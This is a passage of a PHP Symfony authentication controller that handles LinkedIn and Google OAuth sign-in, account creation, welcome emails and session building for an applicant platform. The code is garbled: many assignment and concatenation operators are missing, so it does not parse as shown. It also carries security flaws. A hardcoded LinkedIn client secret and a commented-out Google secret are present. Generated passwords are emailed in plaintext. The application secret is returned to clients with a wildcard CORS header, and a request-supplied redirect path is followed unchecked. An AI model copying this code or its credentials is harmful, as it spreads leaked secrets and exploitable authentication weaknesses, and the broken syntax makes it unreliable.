  6039.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6040.                 CURLOPT_POST => 1,
  6041.                 CURLOPT_HTTPHEADER => array(
  6042.                     'Content-Type: application/x-www-form-urlencoded'
  6043.                 )
  6044.             ));
  6045.             $content curl_exec($curl);
  6046.             $contentArray = [];
  6047.             curl_close($curl);
  6048.             $token false;
  6049. //      return new JsonResponse(array(
  6050. //          'content'=>$content,
  6051. //          'contentArray'=>json_decode($content,true),
  6052. //
  6053. //      ));
  6054.             if ($content) {
  6055.                 $contentArray json_decode($contenttrue);
  6056.                 $token $contentArray['access_token'];
  6057.             }
  6058.             if ($token) {
  6059.                 $applicantInfo = [];
  6060.                 $curl curl_init();
  6061.                 curl_setopt_array($curl, array(
  6062.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6063.                     CURLOPT_HEADER => false,  // don't return headers
  6064.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6065.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6066.                     CURLOPT_ENCODING => "",     // handle compressed
  6067.                     CURLOPT_USERAGENT => "test"// name of client
  6068.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6069.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6070.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6071.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6072.                     CURLOPT_USERAGENT => 'InnoPM',
  6073.                     CURLOPT_HTTPGET => 1,
  6074.                     CURLOPT_HTTPHEADER => array(
  6075.                         'Authorization: Bearer ' $token,
  6076.                         'Header-Key-2: Header-Value-2'
  6077.                     )
  6078.                 ));
  6079.                 $userGeneralcontent curl_exec($curl);
  6080.                 curl_close($curl);
  6081.                 if ($userGeneralcontent) {
  6082.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6083.                 }
  6084.                 $curl curl_init();
  6085.                 curl_setopt_array($curl, array(
  6086.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6087.                     CURLOPT_HEADER => false,  // don't return headers
  6088.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6089.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6090.                     CURLOPT_ENCODING => "",     // handle compressed
  6091.                     CURLOPT_USERAGENT => "test"// name of client
  6092.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6093.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6094.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6095.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6096. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6097.                     CURLOPT_USERAGENT => 'InnoPM',
  6098.                     CURLOPT_HTTPGET => 1,
  6099.                     CURLOPT_HTTPHEADER => array(
  6100.                         'Authorization: Bearer ' $token,
  6101.                         'Header-Key-2: Header-Value-2'
  6102.                     )
  6103.                 ));
  6104.                 $userEmailcontent curl_exec($curl);
  6105.                 curl_close($curl);
  6106.                 $token false;
  6107.                 if ($userEmailcontent) {
  6108.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6109.                 }
  6110. //        $oAuthEmail = $applicantInfo['email'];
  6111. //        return new JsonResponse(array(
  6112. //          'userEmailcontent'=>$userEmailcontent,
  6113. //          'userGeneralcontent'=>$userGeneralcontent,
  6114. //        ));
  6115. //        return new response($userGeneralcontent);
  6116.                 $oAuthData = [
  6117.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6118.                     'uniqueId' => $userGeneralcontent['id'],
  6119.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6120.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6121.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6122.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6123.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6124.                     'type' => 1,
  6125.                     'token' => $token,
  6126.                 ];
  6127.             }
  6128.         } else if (isset($_GET["code"])) {
  6129.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6130.             if (!isset($token['error'])) {
  6131.                 $google_client->setAccessToken($token['access_token']);
  6132.                 $google_service = new Google_Service_Oauth2($google_client);
  6133.                 $applicantInfo $google_service->userinfo->get();
  6134.                 $oAuthEmail $applicantInfo['email'];
  6135.                 $oAuthData = [
  6136.                     'email' => $applicantInfo['email'],
  6137.                     'uniqueId' => $applicantInfo['id'],
  6138.                     'image' => $applicantInfo['picture'],
  6139.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6140.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6141.                     'firstName' => $applicantInfo['givenName'],
  6142.                     'lastName' => $applicantInfo['familyName'],
  6143.                     'type' => $token['token_type'],
  6144.                     'token' => $token['access_token'],
  6145.                 ];
  6146.             }
  6147.         }
  6148.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6149.             $isApplicantExist $applicantRepo->findOneBy([
  6150.                 'email' => $oAuthData['email']
  6151.             ]);
  6152.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6153.                 $isApplicantExist $applicantRepo->findOneBy([
  6154.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6155.                 ]);
  6156.             }
  6157.             if ($isApplicantExist) {
  6158.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6159.                 } else
  6160.                     return $this->redirectToRoute("core_login", [
  6161.                         'id' => $isApplicantExist->getApplicantId(),
  6162.                         'oAuthData' => $oAuthData,
  6163.                         'encData' => $encData,
  6164.                         'locale' => $request->request->get('locale''en'),
  6165.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6166.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6167.                     ]);
  6168.             } else {
  6169.                 $fname $oAuthData['firstName'];
  6170.                 $lname $oAuthData['lastName'];
  6171.                 $img $oAuthData['image'];
  6172.                 $email $oAuthData['email'];
  6173.                 $oAuthEmail $oAuthData['email'];
  6174.                 $userName explode('@'$email)[0];
  6175.                 //now check if same username exists
  6176.                 $username_already_exist 1;
  6177.                 $initial_user_name $userName;
  6178.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6179.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6180.                     $isUsernameExist $applicantRepo->findOneBy([
  6181.                         'username' => $userName
  6182.                     ]);
  6183.                     if ($isUsernameExist) {
  6184.                         $username_already_exist 1;
  6185.                         $userName $initial_user_name '' rand(3009987);
  6186.                     } else {
  6187.                         $username_already_exist 0;
  6188.                     }
  6189.                     $timeoutSafeCount--;
  6190.                 }
  6191.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6192.                     $currentUnixTimeStamp '';
  6193.                     $currentUnixTime = new \DateTime();
  6194.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6195.                     $userName $userName '' $currentUnixTimeStamp;
  6196.                 }
  6197.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6198.                 $charactersLength strlen($characters);
  6199.                 $length 8;
  6200.                 $password 0;
  6201.                 for ($i 0$i $length$i++) {
  6202.                     $password .= $characters[rand(0$charactersLength 1)];
  6203.                 }
  6204.                 $newApplicant = new EntityApplicantDetails();
  6205.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6206.                 $newApplicant->setEmail($email);
  6207.                 $newApplicant->setUserName($userName);
  6208.                 $newApplicant->setFirstname($fname);
  6209.                 $newApplicant->setLastname($lname);
  6210.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6211.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6212.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6213.                 $newApplicant->setAccountStatus(1);
  6214.                 //salt will be username
  6215. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6216.                 $salt uniqid(mt_rand());
  6217.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6218.                 $newApplicant->setPassword($encodedPassword);
  6219.                 $newApplicant->setSalt($salt);
  6220.                 $newApplicant->setTempPassword($password);
  6221. //                $newApplicant->setPassword($password);
  6222.                 $marker $userName '-' time();
  6223. //                $extension_here=$uploadedFile->guessExtension();
  6224. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6225. //                $path = $fileName;
  6226.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6227.                 if (!file_exists($upl_dir)) {
  6228.                     mkdir($upl_dir0777true);
  6229.                 }
  6230.                 $ch curl_init($img);
  6231.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6232.                 curl_setopt($chCURLOPT_FILE$fp);
  6233.                 curl_setopt($chCURLOPT_HEADER0);
  6234.                 curl_exec($ch);
  6235.                 curl_close($ch);
  6236.                 fclose($fp);
  6237.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6238. //                $newApplicant->setImage($img);
  6239.                 $newApplicant->setIsConsultant(0);
  6240.                 $newApplicant->setIsTemporaryEntry(0);
  6241.                 $newApplicant->setApplyForConsultant(0);
  6242.                 $newApplicant->setTriggerResetPassword(0);
  6243.                 $em->persist($newApplicant);
  6244.                 $em->flush();
  6245.                 // GR2 (GROWTH) â€” fresh registration: stamp the viral-touch conversion if this
  6246.                 // browser landed via a GR1 backlink. Fully guarded inside; never affects signup.
  6247.                 \ApplicationBundle\Modules\LeadGen\Service\ViralAttributionService::stampConversion($em$request$newApplicant->getId());
  6248.                 $isApplicantExist $newApplicant;
  6249.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6250.                     if ($systemType == '_BUDDYBEE_') {
  6251.                         $bodyHtml '';
  6252.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6253.                         $bodyData = array(
  6254.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6255.                             'email' => $userName,
  6256.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6257.                             'password' => $newApplicant->getTempPassword(),
  6258.                         );
  6259.                         $attachments = [];
  6260.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6261. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6262.                         $new_mail $this->get('mail_module');
  6263.                         $new_mail->sendMyMail(array(
  6264.                             'senderHash' => '_CUSTOM_',
  6265.                             //                        'senderHash'=>'_CUSTOM_',
  6266.                             'forwardToMailAddress' => $forwardToMailAddress,
  6267.                             'subject' => 'Welcome to BuddyBee ',
  6268. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6269.                             'attachments' => $attachments,
  6270.                             'toAddress' => $forwardToMailAddress,
  6271.                             'fromAddress' => 'registration@buddybee.eu',
  6272.                             'userName' => 'registration@buddybee.eu',
  6273.                             'password' => ApplicationBundleHelperMailerConfig::registrationPassword(),
  6274.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6275.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6276.                             'encryptionMethod' => 'ssl',
  6277. //                            'emailBody' => $bodyHtml,
  6278.                             'mailTemplate' => $bodyTemplate,
  6279.                             'templateData' => $bodyData,
  6280. //                        'embedCompanyImage' => 1,
  6281. //                        'companyId' => $companyId,
  6282. //                        'companyImagePath' => $company_data->getImage()
  6283.                         ));
  6284.                     } else {
  6285.                         $bodyHtml '';
  6286.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6287.                         $bodyData = array(
  6288.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6289.                             'email' => 'APP-' $userName,
  6290.                             'password' => $newApplicant->getPassword(),
  6291.                         );
  6292.                         $attachments = [];
  6293.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6294. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6295.                         $new_mail $this->get('mail_module');
  6296.                         $new_mail->sendMyMail(array(
  6297.                             'senderHash' => '_CUSTOM_',
  6298.                             //                        'senderHash'=>'_CUSTOM_',
  6299.                             'forwardToMailAddress' => $forwardToMailAddress,
  6300.                             'subject' => 'Applicant Registration on Honeybee',
  6301. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6302.                             'attachments' => $attachments,
  6303.                             'toAddress' => $forwardToMailAddress,
  6304.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6305.                             'userName' => 'accounts@ourhoneybee.eu',
  6306.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6307.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6308.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6309.                             'encryptionMethod' => 'ssl',
  6310. //                            'emailBody' => $bodyHtml,
  6311.                             'mailTemplate' => $bodyTemplate,
  6312.                             'templateData' => $bodyData,
  6313. //                        'embedCompanyImage' => 1,
  6314. //                        'companyId' => $companyId,
  6315. //                        'companyImagePath' => $company_data->getImage()
  6316.                         ));
  6317.                     }
  6318.                 }
  6319.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6320.                 } else {
  6321.                     return $this->redirectToRoute("core_login", [
  6322.                         'id' => $newApplicant->getApplicantId(),
  6323.                         'oAuthData' => $oAuthData,
  6324.                         'encData' => $encData,
  6325.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6326.                         'locale' => $request->request->get('locale''en'),
  6327.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6328.                     ]);
  6329.                 }
  6330.             }
  6331.         }
  6332.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6333.             if ($isApplicantExist) {
  6334.                 $user $isApplicantExist;
  6335.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6336.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6337.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6338.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6339.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6340.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6341.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6342.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6343.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6344.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6345.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6346.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6347.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6348.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6349.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6350.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6351.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6352.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6353.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6354.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6355.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6356.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6357.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6358.                     $session->set('userCompanyVibrantList'json_encode([]));
  6359.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6360.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6361.                     $session->set(UserConstants::USER_APP_ID0);
  6362.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6363.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6364.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6365.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6366.                     $session->set(UserConstants::USER_GOC_ID0);
  6367.                     $session->set(UserConstants::USER_DB_NAME'');
  6368.                     $session->set(UserConstants::USER_DB_USER'');
  6369.                     $session->set(UserConstants::USER_DB_PASS'');
  6370.                     $session->set(UserConstants::USER_DB_HOST'');
  6371.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6372.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6373.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6374.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6375.                     $session->set('locale'$request->request->get('locale'''));
  6376.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6377.                     $route_list_array = [];
  6378.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6379.                     $loginID 0;
  6380.                     $loginID MiscActions::addEntityUserLoginLog(
  6381.                         $em,
  6382.                         $session->get(UserConstants::USER_ID),
  6383.                         $session->get(UserConstants::USER_ID),
  6384.                         1,
  6385.                         $request->server->get("REMOTE_ADDR"),
  6386.                         0,
  6387.                         $request->request->get('deviceId'''),
  6388.                         $request->request->get('oAuthToken'''),
  6389.                         $request->request->get('oAuthType'''),
  6390.                         $request->request->get('locale'''),
  6391.                         $request->request->get('firebaseToken''')
  6392.                     );
  6393.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6394.                     $session_data = array(
  6395.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6396.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6397.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6398.                         'oAuthToken' => $session->get('oAuthToken'),
  6399.                         'locale' => $session->get('locale'),
  6400.                         'firebaseToken' => $session->get('firebaseToken'),
  6401.                         'token' => $session->get('token'),
  6402.                         'firstLogin' => 0,
  6403.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6404.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6405.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6406.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6407.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6408.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6409.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6410.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6411.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6412.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6413.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6414.                         'oAuthImage' => $session->get('oAuthImage'),
  6415.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6416.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6417.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6418.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6419.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6420.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6421.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6422.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6423.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6424.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6425.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6426.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6427.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6428.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6429.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6430.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6431.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6432.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6433.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6434.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6435.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6436.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6437.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6438.                         //new
  6439.                         'appIdList' => $session->get('appIdList'),
  6440.                         'branchIdList' => $session->get('branchIdList'null),
  6441.                         'branchId' => $session->get('branchId'null),
  6442.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6443.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6444.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6445.                     );
  6446.                     $session_data $this->filterClientSessionData($session_data);
  6447.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6448.                     $session_data $tokenData['sessionData'];
  6449.                     $token $tokenData['token'];
  6450.                     $session->set('token'$token);
  6451.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6452.                         $session->set('remoteVerified'1);
  6453.                         $response = new JsonResponse(array(
  6454.                             'token' => $token,
  6455.                             'uid' => $session->get(UserConstants::USER_ID),
  6456.                             'session' => $session,
  6457.                             'success' => true,
  6458.                             'session_data' => $session_data,
  6459.                         ));
  6460.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6461.                         return $response;
  6462.                     }
  6463.                     if ($request->request->has('referer_path')) {
  6464.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6465.                             return $this->redirect($request->request->get('referer_path'));
  6466.                         }
  6467.                     }
  6468.                     $redirectRoute 'applicant_dashboard';
  6469.                     if ($request->query->has('encData')) {
  6470.                         if ($request->query->get('encData') == '8917922')
  6471.                             $redirectRoute 'apply_for_consultant';
  6472.                     }
  6473.                     return $this->redirectToRoute($redirectRoute);
  6474.                 }
  6475. //                    $response = new JsonResponse(array(
  6476. //                        'token' => $token,
  6477. //                        'uid' => $session->get(UserConstants::USER_ID),
  6478. //                        'session' => $session,
  6479. //
  6480. //                        'success' => true,
  6481. //                        'session_data' => $session_data,
  6482. //
  6483. //                    ));
  6484. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6485. //                    return $response;
  6486. //                    return $this->redirectToRoute("user_login", [
  6487. //                        'id' => $isApplicantExist->getApplicantId(),
  6488. //                        'oAuthData' => $oAuthData,
  6489. //                        'encData' => $encData,
  6490. //                        'locale' => $request->request->get('locale', 'en'),
  6491. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6492. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6493. //                    ]);
  6494.             }
  6495.         }
  6496. //        if ($request->isMethod('POST')){
  6497. //            $new = new EntityApplicantDetails();
  6498. //
  6499. //            $new-> setUsername->$request->request->get('userName');
  6500. //            $new-> setEmail()->$request->request->get('email');
  6501. //            $new-> setPassword()->$request->request->get('password');
  6502. //            $new-> setSelector()->$request->request->get('selector');
  6503. //
  6504. //
  6505. //            $em->persist($new);
  6506. //            $em->flush();
  6507. //        }
  6508.         $selector BuddybeeConstant::$selector;
  6509.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6510.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6511.         if ($systemType == '_ERP_') {
  6512.         } else if ($systemType == '_BUDDYBEE_') {
  6513.             return $this->render(
  6514.                 '@Authentication/pages/views/applicant_login.html.twig',
  6515.                 [
  6516.                     'page_title' => 'BuddyBee Login',
  6517.                     'oAuthLink' => $google_client->createAuthUrl(),
  6518.                     'redirect_url' => $url,
  6519.                     'message' => $message,
  6520.                     'errorField' => $errorField,
  6521.                     'encData' => $encData,
  6522.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6523.                     'selector' => $selector
  6524.                 ]
  6525.             );
  6526.         }
  6527.         return $this->render(
  6528.             '@Authentication/pages/views/applicant_login.html.twig',
  6529.             [
  6530.                 'page_title' => 'Applicant Registration',
  6531.                 'oAuthLink' => $google_client->createAuthUrl(),
  6532.                 'redirect_url' => $url,
  6533.                 'encData' => $encData,
  6534.                 'message' => $message,
  6535.                 'errorField' => $errorField,
  6536.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6537.                 'selector' => $selector
  6538.             ]
  6539.         );
  6540.     }
  6541.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6542.     {
  6543.         $session $request->getSession();
  6544.         $email $request->getSession()->get('userEmail');
  6545.         $sessionUserId $request->getSession()->get('userId');
  6546.         $oAuthData = [];
  6547. //    $encData='';
  6548.         $em $this->getDoctrine()->getManager('company_group');
  6549.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6550.         $redirectRoute 'dashboard';
  6551.         if ($encData != '') {
  6552.             if ($encData == '8917922')
  6553.                 $redirectRoute 'apply_for_consultant';
  6554.         }
  6555.         if ($request->query->has('encData')) {
  6556.             $encData $request->query->get('encData');
  6557.             if ($encData == '8917922')
  6558.                 $redirectRoute 'apply_for_consultant';
  6559.         }
  6560.         $message '';
  6561.         $errorField '_NONE_';
  6562.         if ($request->query->has('message')) {
  6563.             $message $request->query->get('message');
  6564.         }
  6565.         if ($request->query->has('errorField')) {
  6566.             $errorField $request->query->get('errorField');
  6567.         }
  6568.         if ($request->request->has('oAuthData')) {
  6569.             $oAuthData $request->request->get('oAuthData', []);
  6570.         } else {
  6571.             $oAuthData = [
  6572.                 'email' => $request->request->get('email'''),
  6573.                 'uniqueId' => $request->request->get('uniqueId'''),
  6574.                 'oAuthHash' => '_NONE_',
  6575.                 'image' => $request->request->get('image'''),
  6576.                 'emailVerified' => $request->request->get('emailVerified'''),
  6577.                 'name' => $request->request->get('name'''),
  6578.                 'firstName' => $request->request->get('firstName'''),
  6579.                 'lastName' => $request->request->get('lastName'''),
  6580.                 'type' => 1,
  6581.                 'token' => $request->request->get('oAuthtoken'''),
  6582.             ];
  6583.         }
  6584.         $isApplicantExist null;
  6585.         if ($email) {
  6586.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6587.                 $isApplicantExist $applicantRepo->findOneBy([
  6588.                     'applicantId' => $sessionUserId
  6589.                 ]);
  6590.             } else
  6591.                 return $this->redirectToRoute($redirectRoute);
  6592.         }
  6593.         $google_client = new Google_Client();
  6594. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6595. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6596.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6597.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6598.         } else {
  6599.             $url $this->generateUrl(
  6600.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6601.             );
  6602.         }
  6603.         $selector BuddybeeConstant::$selector;
  6604.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6605.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6606. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6607. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
